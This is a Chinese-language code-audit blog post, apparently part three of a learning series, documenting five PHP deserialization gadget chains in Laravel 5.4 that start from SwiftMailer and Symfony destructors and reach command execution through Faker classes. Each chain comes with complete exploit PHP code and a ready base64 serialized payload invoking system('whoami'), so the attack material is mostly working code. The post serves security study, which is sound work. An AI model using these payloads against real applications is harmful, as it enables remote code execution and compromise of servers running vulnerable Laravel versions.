点击蓝字
关注我们
日期:2024年07月24日 作者:Obsidian 介绍:Laravel框架相关漏洞的新手学习记录。
0x01 前情回顾
书接上回和上上回。
在前文(1)
中,以PendingBroadcast
的__destruct
魔术方法作为反序列化的起点,利用存在dispatch
方法的类进行了反序列化利用链的构造。
在前文(2)
中,以PendingBroadcast
的__destruct
魔术方法作为反序列化的起点,利用存在__call
魔术方法的类进行了反序列化利用链的构造。
至此,由PendingBroadcast
作为起点的反序列化链就告一段落了,本文将继续寻找其他的反序列化起点,来构造反序列化利用链。
环境的搭建与调试,请参考前篇《从零开始的Laravel框架学习之旅(1)》
。
0x02 漏洞分析及复现
POP7
首先寻找含有__destruct()
魔术方法的类,通过工具搜索,共找到23
个文件。
通过顺序尝试,发现一个眼熟的文件,TemporaryFileByteStream
,在yii2
框架中同样可以被利用。
以下是精简后的代码:
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
public function __destruct(){
if (file_exists($this->getPath())) {
}
}
}
class Swift_ByteStream_FileByteStream
{
private $path;
public function getPath(){
return $this->path;
}
}
__destruct()
魔术方法触发了file_exists()
方法。跟进getPath()
方法后发现,返回$this->path
参数,这里$this->path
参数可控,并且file_exists
所需的参数是字符串,可以触发__toString
魔术方法。
经过筛查后发现,部分类可利用,例如/laravel/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Deprecated.php
,可通过调用render()
函数,触发__call
魔术方法。可利用的类很多,这里不一一列举。这里的利用方式与之前yii2
框架一致。
后续的__call
魔术方法的利用,可参考前文,这里选用POP3
中的利用方式。
POP
链如下:
TemporaryFileByteStream::__destruct()->file_exists($this->path)->__toString()
->
phpDocumentorReflectionDocBlockTagsDeprecated->render()
->
FakerValidGenerator::__call()->call_user_func_array()
->
FakerDefaultGenerator::__call()
->
FakerValidGenerator::__call()->call_user_func()->system('whoami')
EXP
:
namespace Faker{
class DefaultGenerator{
protected $default ;
function __construct(){
$this->default = 'whoami';
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct(){
$this->generator = new DefaultGenerator();
$this->validator = 'system';
$this->maxRetries = 1;
}
}
}
namespace phpDocumentorReflectionDocBlockTags{
use FakerValidGenerator;
class Deprecated {
protected $description;
public function __construct() {
$this->description = new ValidGenerator();
}
}
}
namespace {
use phpDocumentorReflectionDocBlockTagsDeprecated;
class Swift_ByteStream_FileByteStream {
private $_path;
public function __construct() {
$this->_path = new Deprecated();
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
}
echo base64_encode(serialize(new Swift_ByteStream_TemporaryFileByteStream()));
}
#Tzo0MDoiU3dpZnRfQnl0ZVN0cmVhbV9UZW1wb3JhcnlGaWxlQnl0ZVN0cmVhbSI6MTp7czozODoiAFN3aWZ0X0J5dGVTdHJlYW1fRmlsZUJ5dGVTdHJlYW0AX3BhdGgiO086NDk6InBocERvY3VtZW50b3JcUmVmbGVjdGlvblxEb2NCbG9ja1xUYWdzXERlcHJlY2F0ZWQiOjE6e3M6MTQ6IgAqAGRlc2NyaXB0aW9uIjtPOjIwOiJGYWtlclxWYWxpZEdlbmVyYXRvciI6Mzp7czoxMjoiACoAZ2VuZXJhdG9yIjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjY6Indob2FtaSI7fXM6MTI6IgAqAHZhbGlkYXRvciI7czo2OiJzeXN0ZW0iO3M6MTM6IgAqAG1heFJldHJpZXMiO2k6MTt9fX0=
POP8
下一个反序列化起点在/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php
文件中,同样在yii2
框架中也可利用,以下是精简后的代码。
class Swift_KeyCache_DiskKeyCache
{
private $_path;
private $_keys = array();
public function __destruct()
{
foreach ($this->_keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->_keys)) {
foreach ($this->_keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
}
}
public function clearKey($nsKey, $itemKey)
{
if ($this->hasKey($nsKey, $itemKey)) {
}
}
public function hasKey($nsKey, $itemKey)
{
return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
}
__destruct()
魔术方法触发 clearAll()
方法,$this->keys
参数可控。进一步调用了 clearKey()
方法,然后下一步是haskey
方法,之后这里又通过字符串拼接的方式,来拼接参数。这里$this->_path
参数可控,触发__toString
魔术方法。
后续利用,可以与POP7
一样,POP
链如下:
DiskKeyCache::__destruct()->clearAll()->clearKey()->hasKey()->__toString()
->
phpDocumentorReflectionDocBlockTagsDeprecated->render()
->
FakerValidGenerator::__call()->call_user_func_array()
->
FakerDefaultGenerator::__call()
->
FakerValidGenerator::__call()->call_user_func()->system('whoami')
EXP
:
namespace Faker{
class DefaultGenerator{
protected $default ;
function __construct(){
$this->default = 'whoami';
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct(){
$this->generator = new DefaultGenerator();
$this->validator = 'system';
$this->maxRetries = 1;
}
}
}
namespace phpDocumentorReflectionDocBlockTags{
use FakerValidGenerator;
class Deprecated {
protected $description;
public function __construct() {
$this->description = new ValidGenerator();
}
}
}
namespace {
use phpDocumentorReflectionDocBlockTagsDeprecated;
class Swift_KeyCache_DiskKeyCache {
private $_path;
private $_keys;
public function __construct() {
$this->_keys = array("1");
$this->_path = new Deprecated();
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
#TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjM0OiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAF9wYXRoIjtPOjQ5OiJwaHBEb2N1bWVudG9yXFJlZmxlY3Rpb25cRG9jQmxvY2tcVGFnc1xEZXByZWNhdGVkIjoxOntzOjE0OiIAKgBkZXNjcmlwdGlvbiI7TzoyMDoiRmFrZXJcVmFsaWRHZW5lcmF0b3IiOjM6e3M6MTI6IgAqAGdlbmVyYXRvciI7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7czo2OiJ3aG9hbWkiO31zOjEyOiIAKgB2YWxpZGF0b3IiO3M6Njoic3lzdGVtIjtzOjEzOiIAKgBtYXhSZXRyaWVzIjtpOjE7fX1zOjM0OiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAF9rZXlzIjthOjE6e2k6MDtzOjE6IjEiO319
POP9
下一个反序列化起点在/laravel/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/AbstractSmtpTransport.php
文件中,同样在yii2
框架中也可利用,以下是精简后的代码。
abstract class Swift_Transport_AbstractSmtpTransport implements Swift_Transport
{
protected $_started = false;
protected $_eventDispatcher;
public function __destruct()
{
$this->stop();
}
public function stop()
{
if ($this->_started) {
if ($evt = $this->_eventDispatcher->createTransportChangeEvent($this)) {
}
}
}
}
__destruct()
魔术方法触发 stop()
方法,之后尝试调用createTransportChangeEvent()
方法。这里$this->_started
参数和$this->_eventDispatcher
参数可控,可通过指定类,去触发__call()
魔术方法。之后可续接前文中POP3
的利用链,进行命令执行。
POP
链如下:
AbstractSmtpTransport::__destruct()->stop()->$this->eventDispatcher->createTransportChangeEvent()
->
FakerValidGenerator::__call()->call_user_func_array()
->
FakerDefaultGenerator::__call()
->
FakerValidGenerator::__call()->call_user_func()->system('whoami')
EXP
:
namespace Faker{
class DefaultGenerator{
protected $default ;
function __construct(){
$this->default = 'whoami';
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct(){
$this->generator = new DefaultGenerator();
$this->validator = 'system';
$this->maxRetries = 1;
}
}
}
namespace {
use FakerValidGenerator;
abstract class Swift_Transport_AbstractSmtpTransport {
}
class Swift_Transport_SendmailTransport extends Swift_Transport_AbstractSmtpTransport {
protected $_started;
protected $_eventDispatcher;
public function __construct() {
$this->_started = True;
$this->_eventDispatcher = new ValidGenerator();
}
}
echo (base64_encode(serialize(new Swift_Transport_SendmailTransport())));
}
#TzozMzoiU3dpZnRfVHJhbnNwb3J0X1NlbmRtYWlsVHJhbnNwb3J0IjoyOntzOjExOiIAKgBfc3RhcnRlZCI7YjoxO3M6MTk6IgAqAF9ldmVudERpc3BhdGNoZXIiO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAdmFsaWRhdG9yIjtzOjY6InN5c3RlbSI7czoxMzoiACoAbWF4UmV0cmllcyI7aToxO319
POP10
下一个反序列化起点在/laravel/vendor/symfony/routing/Loader/Configurator/CollectionConfigurator.php
,简化代码如下:
class CollectionConfigurator
{
public function __construct()
{
$this->collection = new RouteCollection();
}
public function __destruct()
{
$this->collection->addPrefix(rtrim($this->route->getPath(), '/'));
}
}
__destruct()
魔术方法触发 addPrefix()
方法,之后尝试调用getPath()
方法。这里$this->route
参数可控,可通过指定类,去触发__call()
魔术方法。之后可续接前文中POP3
的利用链,进行命令执行。
POP
链如下:
CollectionConfigurator::__destruct()->$this->collection->addPrefix()->$this->route->getPath()
->
FakerValidGenerator::__call()->call_user_func_array()
->
FakerDefaultGenerator::__call()
->
FakerValidGenerator::__call()->call_user_func()->system('whoami')
EXP
:
namespace Faker;
class DefaultGenerator{
protected $default ;
function __construct(){
$this->default = 'whoami';
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct(){
$this->generator = new DefaultGenerator();
$this->validator = 'system';
$this->maxRetries = 1;
}
}
namespace SymfonyComponentRouting;
class RouteCollection
{
}
namespace SymfonyComponentRoutingLoaderConfigurator;
use FakerValidGenerator;
use SymfonyComponentRoutingRouteCollection;
class CollectionConfigurator
{
public function __construct() {
$this->collection = new RouteCollection();
$this->route = new ValidGenerator();
}
}
echo base64_encode(serialize(new CollectionConfigurator()));
#Tzo2ODoiU3ltZm9ueVxDb21wb25lbnRcUm91dGluZ1xMb2FkZXJcQ29uZmlndXJhdG9yXENvbGxlY3Rpb25Db25maWd1cmF0b3IiOjI6e3M6MTA6ImNvbGxlY3Rpb24iO086NDE6IlN5bWZvbnlcQ29tcG9uZW50XFJvdXRpbmdcUm91dGVDb2xsZWN0aW9uIjowOnt9czo1OiJyb3V0ZSI7TzoyMDoiRmFrZXJcVmFsaWRHZW5lcmF0b3IiOjM6e3M6MTI6IgAqAGdlbmVyYXRvciI7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7czo2OiJ3aG9hbWkiO31zOjEyOiIAKgB2YWxpZGF0b3IiO3M6Njoic3lzdGVtIjtzOjEzOiIAKgBtYXhSZXRyaWVzIjtpOjE7fX0=
POP11
下一个反序列化起点在/laravel/vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php
,简化代码如下:
class ImportConfigurator
{
private $parent;
public function __destruct()
{
$this->parent->addCollection($this->route);
}
}
__destruct()
魔术方法触发 $this->parent->addCollection()
方法。这里$this->parent
参数可控,可通过指定类,去触发__call()
魔术方法。之后可续接前文中POP3
的利用链,进行命令执行。
POP
链如下:
ImportConfigurator::__destruct()->$this->parent->addCollection()
->
FakerValidGenerator::__call()->call_user_func_array()
->
FakerDefaultGenerator::__call()
->
FakerValidGenerator::__call()->call_user_func()->system('whoami')
EXP
:
namespace Faker;
class DefaultGenerator{
protected $default ;
function __construct(){
$this->default = 'whoami';
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct(){
$this->generator = new DefaultGenerator();
$this->validator = 'system';
$this->maxRetries = 1;
}
}
namespace SymfonyComponentRoutingLoaderConfigurator;
use FakerValidGenerator;
class ImportConfigurator
{
protected $parent;
public function __construct() {
$this->parent = new ValidGenerator();
}
}
echo base64_encode(serialize(new ImportConfigurator()));
#Tzo2NDoiU3ltZm9ueVxDb21wb25lbnRcUm91dGluZ1xMb2FkZXJcQ29uZmlndXJhdG9yXEltcG9ydENvbmZpZ3VyYXRvciI6MTp7czo5OiIAKgBwYXJlbnQiO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAdmFsaWRhdG9yIjtzOjY6InN5c3RlbSI7czoxMzoiACoAbWF4UmV0cmllcyI7aToxO319
0x03 总结
至此,Laravel
框架5.4
版本的全部反序列化利用链已经分析完了。下一步可以尝试继续分析其他版本的利用方式。
点此亲启
原文始发于微信公众号(宸极实验室):『代码审计』从零开始的Laravel框架学习之旅(3)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论